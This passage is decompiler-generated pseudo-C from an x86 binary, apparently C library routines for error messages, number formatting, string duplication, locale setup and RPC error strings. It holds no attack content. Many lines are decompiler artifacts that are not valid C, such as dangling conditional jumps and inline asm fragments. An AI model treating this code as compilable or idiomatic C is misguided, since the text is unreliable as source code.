	/* unknown */ void  edi;



    esi = A8;
    ebx = *L08078B14;
    L0805E954();
    if(esi == 0 || *esi == 0) {
        edi = "";
        esi = "";
    } else {
        edi = ": ";
    }
    if(ebx >= 0 && *"{" > ebx) {
        (save) *(ebx * 4 + 0x806ae98);
        (save)L0805E584( *L08078F9C, 1, ebx + 1);
        (save)edi;
        eax = L0804F680(0x80787a4, "%s%s%s\n", esi);
    } else {
        (save)ebx;
        (save)"Unknown error";
        (save)L0805E584( *L08078F9C, 1, 1);
        (save)edi;
        eax = L0804F680(0x80787a4, "%s%s%s %d\n", esi);
    }
}

/*	Procedure: 0x0806267C - 0x080626C5
 *	Argument size: 16
 *	Local size: 0
 *	Save regs size: 12
 */

L0806267C(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  esi;



    esi = Ac;
    if(*(A8 + 36) != 0) {
        if(A10 == 1 && !( *(A8 + 1) & 1)) {
            esi = esi - *(A8 + 8) - *(A8 + 4);
        }
        L080618D4(A8);
    }
    eax = *(A8 + 80);
    return(*( *(eax + 68))(A8, esi, A10, A14));
}

/*	Procedure: 0x080626C6 - 0x080626C7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080626C6()
{



}

/*	Procedure: 0x080626C8 - 0x08062711
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 4
 */

L080626C8(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    ecx = A10;
    if(A8 != 0) {
        eax = *A8 & -65536;
        if(eax == -72548352) {
            goto L080626f4;
        }
    }
    *L08078B14 = 22;
    goto L0806270b;
L080626f4:
    *A8 = *A8 & -513;
    if(Ac == 0) {
        ecx = 0;
    }
    eax = *( *( *(A8 + 80) + 84))(A8, Ac, ecx);
L0806270b:
}

/*	Procedure: 0x08062712 - 0x08062713
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08062712()
{



}

/*	Procedure: 0x08062714 - 0x08062884
 *	Argument size: 20
 *	Local size: 12
 *	Save regs size: 12
 */

L08062714(A8, Ac, A10, A14, A18)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = "0123456789abcdefghijklmnopqrstuvwxyz";
    if(A18 != 0) {
        Vfffffffc = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    }
    edi = A10;
    if(A14 != 10) {
        > ? L0806274c : ;
        if(A14 == 8) {
            goto L080627e8;
        }
        goto L0806282c;
        if(A14 == 16) {
            goto L080627a0;
        }
    } else {
L08062758:
        do {
            edi = edi - 1;
            *edi = *(L0806744C(A8, Ac, 10, 0) + Vfffffffc);
            A8 = L08067344(A8, Ac, 10, 0);
            Ac = A14;
            if(A8 != 0) {
                goto L08062758;
            }
        } while(Ac != 0);
        goto L08062879;
L080627a0:
        edi = edi - 1;
        *edi = *(L0806744C(A8, Ac, 16, 0) + Vfffffffc);
        A8 = L08067344(A8, Ac, 16, 0);
        Ac = A14;
        if(A8 != 0 || Ac != 0) {
            goto L080627a0;
        }
        goto L08062879;
L080627e8:
        do {
            edi = edi - 1;
            *edi = *(L0806744C(A8, Ac, 8, 0) + Vfffffffc);
            A8 = L08067344(A8, Ac, 8, 0);
            Ac = A14;
            if(A8 != 0) {
                goto L080627e8;
            }
        } while(Ac != 0);
        goto L08062879;
    }
L0806282c:
    ecx = A14;
    Vfffffff4 = ecx;
    Vfffffff8 = 0;
L08062838:
    do {
        edi = edi - 1;
        *edi = *(L0806744C(A8, Ac, Vfffffff4, Vfffffff8) + Vfffffffc);
        eax = L08067344(A8, Ac, Vfffffff4, Vfffffff8);
        A8 = eax;
        Ac = A14;
        if(A8 != 0) {
            goto L08062838;
        }
    } while(A14 != 0);
L08062879:
    eax = edi;
    esp = ebp - 24;
}

/*	Procedure: 0x08062885 - 0x08062887
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08062885()
{



}

/*	Procedure: 0x08062888 - 0x080628A7
 *	Argument size: 12
 *	Local size: 4
 *	Save regs size: 4
 */

L08062888(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  ebx;



    return(L080628A8(A8, Ac, A10, & A14));
}

/*	Procedure: 0x080628A8 - 0x080628F4
 *	Argument size: 16
 *	Local size: 96
 *	Save regs size: 12
 */

L080628A8(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  esi;
	/* unknown */ void  Vffffffa0;
	/* unknown */ void  Vffffffb4;
	/* unknown */ void  Vfffffff0;



    esi = & Vffffffa0;
    L08061F34(esi, 0);
    Vfffffff0 = 0x80787fc;
    L08052E80(esi, A8, Ac - 1, A8);
    edx = L0804F888(esi, A10, A14);
    *Vffffffb4 = 0;
    eax = edx;
    esp = ebp - 108;
}

/*	Procedure: 0x080628F5 - 0x080628F7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080628F5()
{



}

/*	Procedure: 0x080628F8 - 0x0806293F
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 12
 */

L080628F8(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = ecx;
    al = 0;
    edi = A8;
    asm("cld");
    ecx = -1;
    asm("repne scasb");
    ebx = !ecx;
    edi = L0805BD74(ebx);
    if(edi != 0) {
        L0805652C(edi, A8, ebx);
        eax = edi;
    } else {
        eax = 0;
    }
    esp = ebp - 16;
}

/*	Procedure: 0x08062940 - 0x08062C98
 *	Argument size: 8
 *	Local size: 76
 *	Save regs size: 12
 */

L08062940(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffb4;
	/* unknown */ void  Vffffffc4;
	/* unknown */ void  Vffffffc8;
	/* unknown */ void  Vffffffcc;
	/* unknown */ void  Vffffffd0;
	/* unknown */ void  Vffffffd4;
	/* unknown */ void  Vffffffd8;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = ecx;
    Vffffffe0 = 0;
    Vffffffd8 = 1;
    Vffffffb4 = 0;
    do {
        ebx = A8 != 6 ? A8 != Vffffffb4 ? *(Vffffffb4 * 4 + 0x80790bc) : *Ac : *(Ac + Vffffffb4 * 4);
        al = 0;
        edi = ebx;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        eax = !ecx - 1;
        esi = Vffffffb4;
        *(ebp + esi * 4 - 28) = eax;
        eax = *(ebp + esi * 4 - 28);
        edx = Vffffffb4;
        eax = eax + *(edx * 4 + 0x806aa8c);
        Vffffffe0 = Vffffffe0 + eax + 2;
        if(edx > 0 && Vffffffd8 != 0 && L08057ADC(ebx, *Ac) != 0) {
            Vffffffd8 = 0;
        }
        esi = Vffffffb4 + 1;
        Vffffffc4 = esi;
        ebx = A8 != 6 ? A8 != Vffffffc4 ? *(Vffffffc4 * 4 + 0x80790bc) : *Ac : *(Ac + esi * 4);
        al = 0;
        edi = ebx;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        eax = !ecx - 1;
        edx = Vffffffc4;
        *(ebp + edx * 4 - 28) = eax;
        eax = *(ebp + edx * 4 - 28);
        esi = Vffffffc4;
        eax = eax + *(esi * 4 + 0x806aa8c);
        Vffffffe0 = Vffffffe0 + eax + 2;
        if(esi > 0 && Vffffffd8 != 0 && L08057ADC(ebx, *Ac) != 0) {
            Vffffffd8 = 0;
        }
        Vffffffb4 = Vffffffb4 + 2;
    } while(Vffffffb4 <= 5);
    if(Vffffffd8 != 0) {
        eax = L0805BD74(Vffffffe4 + 1);
        Vffffffdc = eax;
        if(Vffffffdc == 0) {
            edx = Ac;
            eax = *edx;
            edi = 0x806aabe;
            ecx = 2;
            esi = eax;
            asm("cld");
            asm("repe cmpsb");
            == ? L08062abf : ;
            eax = *edx;
            edi = 0x806aac0;
            ecx = 6;
            esi = eax;
            asm("cld");
            asm("repe cmpsb");
            != ? 0x8062acc : ;
            eax = 0x806aabc;
            goto L08062c8f;
            *L08078B14 = 22;
            eax = 0;
            goto L08062c8f;
        }
        L0805652C(Vffffffdc, *Ac, Vffffffe4 + 1);
    } else {
        eax = L0805BD74(Vffffffe0);
        Vffffffdc = eax;
        if(Vffffffdc == 0) {
            eax = 0;
            goto L08062c8f;
        }
        ebx = Vffffffdc;
        Vffffffb4 = 0;
        Vffffffd4 = 0x806aa8c;
        Vffffffd0 = 0x806aa8c;
        do {
            edi = A8 != 6 ? A8 != Vffffffb4 ? *(Vffffffb4 * 4 + 0x80790bc) : *Ac : *(Ac + Vffffffb4 * 4);
            L0805652C(ebx, *(Vffffffb4 * 4 + 0x806aa34), *Vffffffd0);
            ebx = ebx + *Vffffffd4;
            *ebx = 61;
            ebx = ebx + 1;
            esi = Vffffffb4;
            L0805652C(ebx, edi, *(ebp + esi * 4 - 28));
            ebx = ebx + *(ebp + esi * 4 - 28);
            *ebx = 59;
            ebx = ebx + 1;
            edi = Vffffffb4 + 1;
            if(A8 != 6) {
                if(A8 != edi) {
                    edx = *(edi * 4 + 0x80790bc);
                    goto L08062bc7;
                }
                Vffffffcc = *Ac;
            } else {
                edx = *(Ac + edi * 4);
L08062bc7:
                Vffffffcc = edx;
            }
            eax = *(edi * 4 + 0x806aa34);
            L0805652C(ebx, eax, *(Vffffffd0 + 4));
            ebx = ebx + *(Vffffffd4 + 4);
            *ebx = 61;
            ebx = ebx + 1;
            L0805652C(ebx, Vffffffcc, *(ebp + edi * 4 - 28));
            ebx = ebx + *(ebp + edi * 4 - 28);
            *ebx = 59;
            ebx = ebx + 1;
            edi = Vffffffb4 + 2;
            if(A8 != 6) {
                if(A8 != edi) {
                    edx = *(edi * 4 + 0x80790bc);
                    goto L08062c33;
                }
                Vffffffc8 = *Ac;
            } else {
                edx = *(Ac + edi * 4);
L08062c33:
                Vffffffc8 = edx;
            }
            eax = *(edi * 4 + 0x806aa34);
            L0805652C(ebx, eax, *(Vffffffd0 + 8));
            ebx = ebx + *(Vffffffd4 + 8);
            *ebx = 61;
            ebx = ebx + 1;
            L0805652C(ebx, Vffffffc8, *(ebp + edi * 4 - 28));
            ebx = ebx + *(ebp + edi * 4 - 28);
            *ebx = 59;
            ebx = ebx + 1;
            Vffffffd4 = Vffffffd4 + 12;
            Vffffffd0 = Vffffffd0 + 12;
            Vffffffb4 = Vffffffb4 + 3;
        } while(Vffffffb4 <= 5);
        *(ebx - 1) = 0;
    }
    eax = Vffffffdc;
L08062c8f:
    esp = ebp - 88;
}

/*	Procedure: 0x08062C99 - 0x08062C9B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08062C99()
{



}

/*	Procedure: 0x08062C9C - 0x08062CC4
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 0
 */

L08062C9C(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  Vfffffffc;



    Vfffffffc = ecx;
    eax = A8;
    edx = *L080790D4;
    *L080790D4 = eax;
    if(edx != 0x806aabc) {
        eax = L0805C290(edx);
    }
}

/*	Procedure: 0x08062CC5 - 0x08062CC7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08062CC5()
{



}

/*	Procedure: 0x08062CC8 - 0x08062CF6
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 0
 */

L08062CC8(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  Vfffffffc;



    Vfffffffc = ecx;
    eax = A8;
    ecx = *(eax * 4 + 0x80790bc);
    *(eax * 4 + 0x80790bc) = Ac;
    if(ecx != 0x806aabc) {
        eax = L0805C290(ecx);
    }
}

/*	Procedure: 0x08062CF7 - 0x08062CF7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08062CF7()
{



}

/*	Procedure: 0x08062CF8 - 0x08062D48
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 8
 */

L08062CF8(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  esi;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = ecx;
    if(*(A8 * 4 + 0x806aa04) != 0) {
        eax = *(A8 * 4 + 0x806aa04);
        esi = *eax;
        *eax = Ac;
        if(*(A8 * 4 + 0x806aaa4) != 0) {
            eax = *( *(A8 * 4 + 0x806aaa4))();
        }
        if(*(A8 * 4 + 0x806aa1c) != esi) {
            eax = L08067040(esi);
        }
    }
    esp = ebp - 12;
}

/*	Procedure: 0x08062D49 - 0x08062D4B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08062D49()
{



}

/*	Procedure: 0x08062D4C - 0x0806364B
 *	Argument size: 8
 *	Local size: 68
 *	Save regs size: 12
 */

L08062D4C(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffbc;
	/* unknown */ void  Vffffffc0;
	/* unknown */ void  Vffffffc4;
	/* unknown */ void  Vffffffc8;
	/* unknown */ void  Vffffffcc;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    ebx = A8;
    if(ebx <= 6) {
        != ? 0x8062d6c : ;
        eax = *L080790D4;
        goto L08062d73;
        eax = *(ebx * 4 + 0x80790bc);
L08062d73:
        if(Ac == 0 || Ac == eax) {
            goto L08063642;
        }
        if(ebx == 6) {
            if(*Ac == 0) {
                Ac = L08055668("LC_ALL");
            }
            if(Ac == 0 || *Ac == 0) {
                ebx = 0;
                do {
                    eax = L08055668( *(ebx * 4 + 0x806aa34));
                    Ac = eax;
                    if(eax == 0 || *eax == 0) {
                        Ac = L08055668("LANG");
                    }
                    if(Ac == 0 || *Ac == 0) {
                        Ac = *(ebx * 4 + 0x80790bc);
                    }
                    *(ebp + ebx * 4 - 24) = Ac;
                    edi = ebx + 1;
                    eax = L08055668( *(edi * 4 + 0x806aa34));
                    Ac = eax;
                    if(eax == 0 || *eax == 0) {
                        Ac = L08055668("LANG");
                    }
                    if(Ac == 0 || *Ac == 0) {
                        Ac = *(edi * 4 + 0x80790bc);
                    }
                    *(ebp + edi * 4 - 24) = Ac;
                    edi = ebx + 2;
                    eax = L08055668( *(edi * 4 + 0x806aa34));
                    Ac = eax;
                    if(eax == 0 || *eax == 0) {
                        Ac = L08055668("LANG");
                    }
                    if(Ac == 0 || *Ac == 0) {
                        Ac = *(edi * 4 + 0x80790bc);
                    }
                    *(ebp + edi * 4 - 24) = Ac;
                    ebx = ebx + 3;
                } while(ebx <= 5);
            } else {
                al = 0;
                edi = Ac;
                asm("cld");
                ecx = -1;
                asm("repne scasb");
                edi = !ecx;
                eax = Ac;
                Vfffffffc = eax;
                Vfffffff8 = eax;
                Vfffffff4 = eax;
                Vfffffff0 = eax;
                Vffffffec = eax;
                Vffffffe8 = eax;
                ebx = 6;
                (save)59;
                eax = L08057970(Vffffffe8);
                Vffffffc4 = eax;
                if(Vffffffc4 != 0) {
                    esp = esp - (edi + 3 & 252);
                    Vffffffbc = esp;
                    for(L0805652C(Vffffffbc, Ac, edi); 1; Vffffffbc = eax + 1) {
                        (save)61;
                        esi = Vffffffbc;
                        eax = L08057970(esi);
                        Vffffffc4 = eax;
                        if(eax == 0) {
                            break;
                        }
                        Vffffffc0 = 0;
                        eax = eax - esi;
                        if(*L0806AA8C == eax) {
                            esi = *L0806AA34;
                            edi = Vffffffbc;
                            ecx = eax;
                            asm("cld");
                            asm("repe cmpsb");
                            == ? L08063000 : ;
                        }
                        Vffffffc0 = 1;
                        if(*L0806AA90 == eax) {
                            esi = *L0806AA38;
                            edi = Vffffffbc;
                            ecx = eax;
                            asm("cld");
                            asm("repe cmpsb");
                            == ? L08063000 : ;
                        }
                        Vffffffc0 = 2;
                        if(*L0806AA94 == eax) {
                            esi = *L0806AA3C;
                            edi = Vffffffbc;
                            ecx = eax;
                            asm("cld");
                            asm("repe cmpsb");
                            == ? L08063000 : ;
                        }
                        Vffffffc0 = 3;
                        if(*L0806AA98 == eax) {
                            esi = *L0806AA40;
                            edi = Vffffffbc;
                            ecx = eax;
                            asm("cld");
                            asm("repe cmpsb");
                            == ? L08063000 : ;
                        }
                        Vffffffc0 = 4;
                        if(*L0806AA9C == eax) {
                            esi = *L0806AA44;
                            edi = Vffffffbc;
                            ecx = eax;
                            asm("cld");
                            asm("repe cmpsb");
                            == ? L08063000 : ;
                        }
                        Vffffffc0 = 5;
                        if(*L0806AAA0 == eax) {
                            esi = *L0806AA48;
                            edi = Vffffffbc;
                            ecx = eax;
                            asm("cld");
                            asm("repe cmpsb");
                            == ? L08063000 : ;
                        }
                        Vffffffc0 = 6;
                        if(Vffffffc0 == 6) {
                            goto L0806360c;
                        }
                        if(Vffffffc0 > 5) {
                            continue;
                        }
                        (save)59;
                        Vffffffc4 = Vffffffc4 + 1;
                        eax = L08057970(Vffffffc4);
                        *(ebp + Vffffffc0 * 4 - 24) = Vffffffc4;
                        if(eax == 0) {
                            break;
                        }
                        *eax = 0;
                    }
                    Vffffffc0 = 0;
                    eax = Ac;
                    do {
                        esi = Vffffffc0;
                        if(*(ebp + esi * 4 - 24) == eax) {
                            goto L0806360c;
                        }
                        esi = esi + 1;
                        Vffffffc0 = esi;
                    } while(Vffffffc0 <= 5);
                    goto L080633ed;
L080630f4:
                    ebx = ebx + 1;
                    if(ebx > 5) {
                        goto L08063616;
                    }
                    eax = 6 - ebx & 3;
                    if(ebx < 6) {
                        if(eax == 0) {
                            goto L080631cc;
                        }
                        if(eax > 1) {
                            if(eax > 2) {
                                if(*(ebx * 4 + 0x806aa04) != 0) {
                                    L08067040( *(ebp + ebx * 4 - 48));
                                }
                                if(*(ebp + ebx * 4 - 24) != 0 && *(ebp + ebx * 4 - 24) != 0x806aabc) {
                                    L0805C290( *(ebp + ebx * 4 - 24));
                                }
                                ebx = ebx + 1;
                            }
                            if(*(ebx * 4 + 0x806aa04) != 0) {
                                L08067040( *(ebp + ebx * 4 - 48));
                            }
                            if(*(ebp + ebx * 4 - 24) != 0 && *(ebp + ebx * 4 - 24) != 0x806aabc) {
                                L0805C290( *(ebp + ebx * 4 - 24));
                            }
                            ebx = ebx + 1;
                        }
                    }
                    if(*(ebx * 4 + 0x806aa04) != 0) {
                        L08067040( *(ebp + ebx * 4 - 48));
                    }
                    if(*(ebp + ebx * 4 - 24) != 0 && *(ebp + ebx * 4 - 24) != 0x806aabc) {
                        L0805C290( *(ebp + ebx * 4 - 24));
                    }
                    ebx = ebx + 1;
                    if(ebx > 5) {
                        goto L08063616;
                    }
L080631cc:
                    do {
                        if(*(ebx * 4 + 0x806aa04) != 0) {
                            L08067040( *(ebp + ebx * 4 - 48));
                        }
                        if(*(ebp + ebx * 4 - 24) != 0 && *(ebp + ebx * 4 - 24) != 0x806aabc) {
                            L0805C290( *(ebp + ebx * 4 - 24));
                        }
                        edi = ebx + 1;
                        if(*(edi * 4 + 0x806aa04) != 0) {
                            L08067040( *(ebp + edi * 4 - 48));
                        }
                        if(*(ebp + edi * 4 - 24) != 0 && *(ebp + edi * 4 - 24) != 0x806aabc) {
                            L0805C290( *(ebp + edi * 4 - 24));
                        }
                        edi = ebx + 2;
                        if(*(edi * 4 + 0x806aa04) != 0) {
                            L08067040( *(ebp + edi * 4 - 48));
                        }
                        if(*(ebp + edi * 4 - 24) != 0 && *(ebp + edi * 4 - 24) != 0x806aabc) {
                            L0805C290( *(ebp + edi * 4 - 24));
                        }
                        edi = ebx + 3;
                        if(*(edi * 4 + 0x806aa04) != 0) {
                            L08067040( *(ebp + edi * 4 - 48));
                        }
                        if(*(ebp + edi * 4 - 24) != 0 && *(ebp + edi * 4 - 24) != 0x806aabc) {
                            L0805C290( *(ebp + edi * 4 - 24));
                        }
                        ebx = ebx + 4;
                    } while(ebx <= 5);
                    goto L08063616;
                    ebx = ebx + 1;
                    if(ebx <= 5) {
                        eax = 6 - ebx & 3;
                        if(ebx < 6) {
                            if(eax == 0) {
                                goto L08063380;
                            }
                            if(eax > 1) {
                                if(eax > 2) {
                                    if(*(ebp + ebx * 4 - 24) != 0x806aabc) {
                                        L0805C290( *(ebp + ebx * 4 - 24));
                                    }
                                    ebx = ebx + 1;
                                }
                                if(*(ebp + ebx * 4 - 24) != 0x806aabc) {
                                    L0805C290( *(ebp + ebx * 4 - 24));
                                }
                                ebx = ebx + 1;
                            }
                        }
                        if(*(ebp + ebx * 4 - 24) != 0x806aabc) {
                            L0805C290( *(ebp + ebx * 4 - 24));
                        }
                        ebx = ebx + 1;
                        if(ebx <= 5) {
L08063380:
                            if(*(ebp + ebx * 4 - 24) != 0x806aabc) {
                                L0805C290( *(ebp + ebx * 4 - 24));
                            }
                            eax = ebx + 1;
                            if(*(ebp + eax * 4 - 24) != 0x806aabc) {
                                L0805C290( *(ebp + eax * 4 - 24));
                            }
                            eax = ebx + 2;
                            if(*(ebp + eax * 4 - 24) != 0x806aabc) {
                                L0805C290( *(ebp + eax * 4 - 24));
                            }
                            eax = ebx + 3;
                            if(*(ebp + eax * 4 - 24) != 0x806aabc) {
                                L0805C290( *(ebp + eax * 4 - 24));
                            }
                            ebx = ebx + 4;
                            if(ebx <= 5) {
                                goto L08063380;
                            }
                        }
                    }
                }
            }
L080633ed:
            do {
                eax = ebx;
                ebx = ebx - 1;
                if(eax <= 0) {
                    goto L080633fe;
                }
                if(*(ebx * 4 + 0x806aa04) == 0) {
                    ecx = ebp;
                    eax = L080628F8( *(ebp + ebx * 4 - 24));
                    *(ebp + ebx * 4 - 24) = eax;
                    if(*(ebp + ebx * 4 - 24) != 0) {
                        goto L080633ed;
                    }
                    esi = 0;
                    edi = 0x806aabe;
                    ecx = 2;
                    asm("cld");
                    asm("repe cmpsb");
                    == ? L080632fd : ;
                    esi = 0;
                    edi = 0x806aac0;
                    ecx = 6;
                    asm("cld");
                    asm("repe cmpsb");
                    != ? 0x806330c : ;
                } else {
                    eax = L08066BFC(ebx, ebp + ebx * 4 - 24);
                    *(ebp + ebx * 4 - 48) = eax;
                    if(*(ebp + ebx * 4 - 48) != 0) {
                        goto L08063091;
                    }
                    esi = *(ebp + ebx * 4 - 24);
                    edi = 0x806aabe;
                    ecx = 2;
                    asm("cld");
                    asm("repe cmpsb");
                    if(!(ebx = ebx - 1)) {
                        esi = *(ebp + ebx * 4 - 24);
                        edi = 0x806aac0;
                        ecx = 6;
                        asm("cld");
                        asm("repe cmpsb");
                        != ? 0x80630f4 : ;
                    }
                    if(*(ebp + ebx * 4 - 48) == 0) {
                        *(ebp + ebx * 4 - 48) = *(ebx * 4 + 0x806aa1c);
                    }
                }
                *(ebp + ebx * 4 - 24) = 0x806aabc;
                goto L080633ed;
L08063091:
                ecx = ebp;
                eax = L080628F8( *(ebp + ebx * 4 - 24));
                *(ebp + ebx * 4 - 24) = eax;
            } while(*(ebp + ebx * 4 - 24) != 0);
            goto L080630f4;
L080633fe:
            ecx = ebp;
            eax = L08062940(6, & Vffffffe8);
            Vffffffc8 = eax;
            if(Vffffffc8 == 0) {
                ebx = -1;
                goto L080630f4;
            }
            ebx = 0;
            ecx = ebp;
            L08062CF8(0, *(ebp + -48));
            (save) *(ebp + ebx * 4 - 24);
            ecx = ebp;
            L08062CC8(0);
            ebx = 1;
            ecx = ebp;
            L08062CF8(1, *(ebp + -44));
            (save) *(ebp + ebx * 4 - 24);
            ecx = ebp;
            L08062CC8(1);
            ebx = 2;
            ecx = ebp;
            L08062CF8(2, *(ebp + -40));
            (save) *(ebp + ebx * 4 - 24);
            ecx = ebp;
            L08062CC8(2);
            ebx = 3;
            ecx = ebp;
            L08062CF8(3, *(ebp + -36));
            (save) *(ebp + ebx * 4 - 24);
            ecx = ebp;
            L08062CC8(3);
            ebx = 4;
            ecx = ebp;
            L08062CF8(4, *(ebp + -32));
            (save) *(ebp + ebx * 4 - 24);
            ecx = ebp;
            L08062CC8(4);
            ebx = 5;
            ecx = ebp;
            L08062CF8(5, *(ebp + -28));
            (save) *(ebp + ebx * 4 - 24);
            ecx = ebp;
            L08062CC8(5);
            (save)Vffffffc8;
            ecx = ebp;
            L08062C9C();
            eax = Vffffffc8;
            goto L08063642;
        }
        if(*Ac == 0) {
            eax = L08055668( *(ebx * 4 + 0x806aa34));
            Ac = eax;
            if(eax == 0 || *eax == 0) {
                Ac = L08055668("LANG");
            }
            if(Ac == 0) {
                goto L08063546;
            }
            if(*Ac == 0) {
L08063546:
                Ac = *(ebx * 4 + 0x80790bc);
            }
        }
        ecx = ebp;
        eax = L080628F8(Ac);
        Vffffffcc = eax;
        if(Vffffffcc == 0) {
            esi = Ac;
            edi = 0x806aabe;
            ecx = 2;
            asm("cld");
            asm("repe cmpsb");
            == ? L0806358d : ;
            esi = Ac;
            edi = 0x806aac0;
            ecx = 6;
            asm("cld");
            asm("repe cmpsb");
            != ? 0x806360c : ;
            Vffffffcc = 0x806aabc;
        }
        ecx = ebp;
        eax = L08062940(ebx, & Vffffffcc);
        Vffffffc8 = eax;
        if(Vffffffc8 == 0) {
            if(Vffffffcc == 0x806aabc) {
                goto L0806360c;
            }
            L0805C290(Vffffffcc);
            goto L0806360c;
        }
        if(*(ebx * 4 + 0x806aa04) == 0) {
            goto L08063628;
        }
        eax = L08066BFC(ebx, & Ac);
        if(eax == 0) {
            esi = Ac;
            edi = 0x806aabe;
            ecx = 2;
            asm("cld");
            asm("repe cmpsb");
            == ? L08063603 : ;
            esi = Ac;
            edi = 0x806aac0;
            ecx = 6;
            asm("cld");
            asm("repe cmpsb");
            != ? 0x806360c : ;
            eax = *(ebx * 4 + 0x806aa1c);
        }
    } else {
L0806360c:
        *L08078B14 = 22;
L08063616:
        eax = 0;
        goto L08063642;
    }
    ecx = ebp;
    L08062CF8(ebx, eax);
L08063628:
    (save)Vffffffcc;
    ecx = ebp;
    L08062CC8(ebx);
    ecx = ebp;
    L08062C9C(Vffffffc8);
    eax = Vffffffcc;
L08063642:
    esp = ebp - 80;
}

/*	Procedure: 0x0806364C - 0x08063661
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0806364C(A8)
/* unknown */ void  A8;
{



    return(L080572B0(L08057230(), A8));
}

/*	Procedure: 0x08063662 - 0x08063663
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08063662()
{



}

/*	Procedure: 0x08063664 - 0x08063687
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08063664()
{



    if(*L0807E750 == 0) {
        *L0807E750 = L0805BD74(256);
    }
    return(*L0807E750);
}

/*	Procedure: 0x08063688 - 0x08063891
 *	Argument size: 8
 *	Local size: 16
 *	Save regs size: 12
 */

L08063688(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    esi = A8;
    Vfffffff0 = L08063664();
    ebx = Vfffffff0;
    if(ebx == 0) {
        eax = 0;
    } else {
        edx = *(esi + 4);
        (save) & Vfffffff4;
        (save)esi;
        *( *(edx + 8))();
        sprintf(ebx, "%s: ", Ac);
        (save)ebx;
        ebx = ebx + L080662B0();
        (save)Vfffffff4;
        (save)L080638B8();
        L08056640(ebx);
        (save)ebx;
        ebx = ebx + L080662B0();
        L0805E954();
        esp = esp + 4;
        if(Vfffffff4 <= 17) {
            goto *(Vfffffff4 * 4 + 0x8063708)[L0806387a, L0806387a, L0806387a, L08063750, L08063750, L0806387a, L0806379c, L080637c4, L0806387a, L08063838, L0806387a, L0806387a, L0806387a, L0806387a, L0806387a, L0806387a, L0806387a, L0806387a, ]goto ( *(Vfffffff4 * 4 + 0x8063708));
            (save) *(Vfffffff8 * 4 + 0x806ae98);
            (save)L0805E584( *L08078F9C, 1, Vfffffff8 + 1);
            sprintf(ebx, L0805E584( *L08078F9C, 9, 1), "; errno = %s");
            (save)ebx;
            ebx = ebx + L080662B0();
            esp = esp + 32;
            goto L0806387a;
            (save)Vfffffffc;
            (save)Vfffffff8;
            (save)"; low version = %lu, high version = %lu";
            (save)L0805E584( *L08078F9C, 9, 2);
            goto L08063869;
            (save)Vfffffff8;
            esi = L08063A74();
            sprintf(ebx, L0805E584( *L08078F9C, 9, 3), "; why = ");
            (save)ebx;
            ebx = ebx + L080662B0();
            esp = esp + 32;
            if(esi != 0) {
                (save)esi;
                (save)"%s";
            } else {
                (save)Vfffffff8;
                (save)"(unknown authentication error - %d)";
                (save)L0805E584( *L08078F9C, 9, 4);
            }
            (save)ebx;
            sprintf();
            esp = esp + 12;
            ebx = ebx + L080662B0(ebx);
            goto L0806387a;
            (save)Vfffffffc;
            (save)Vfffffff8;
            (save)"; low version = %lu, high version = %lu";
            (save)L0805E584( *L08078F9C, 9, 2);
        } else {
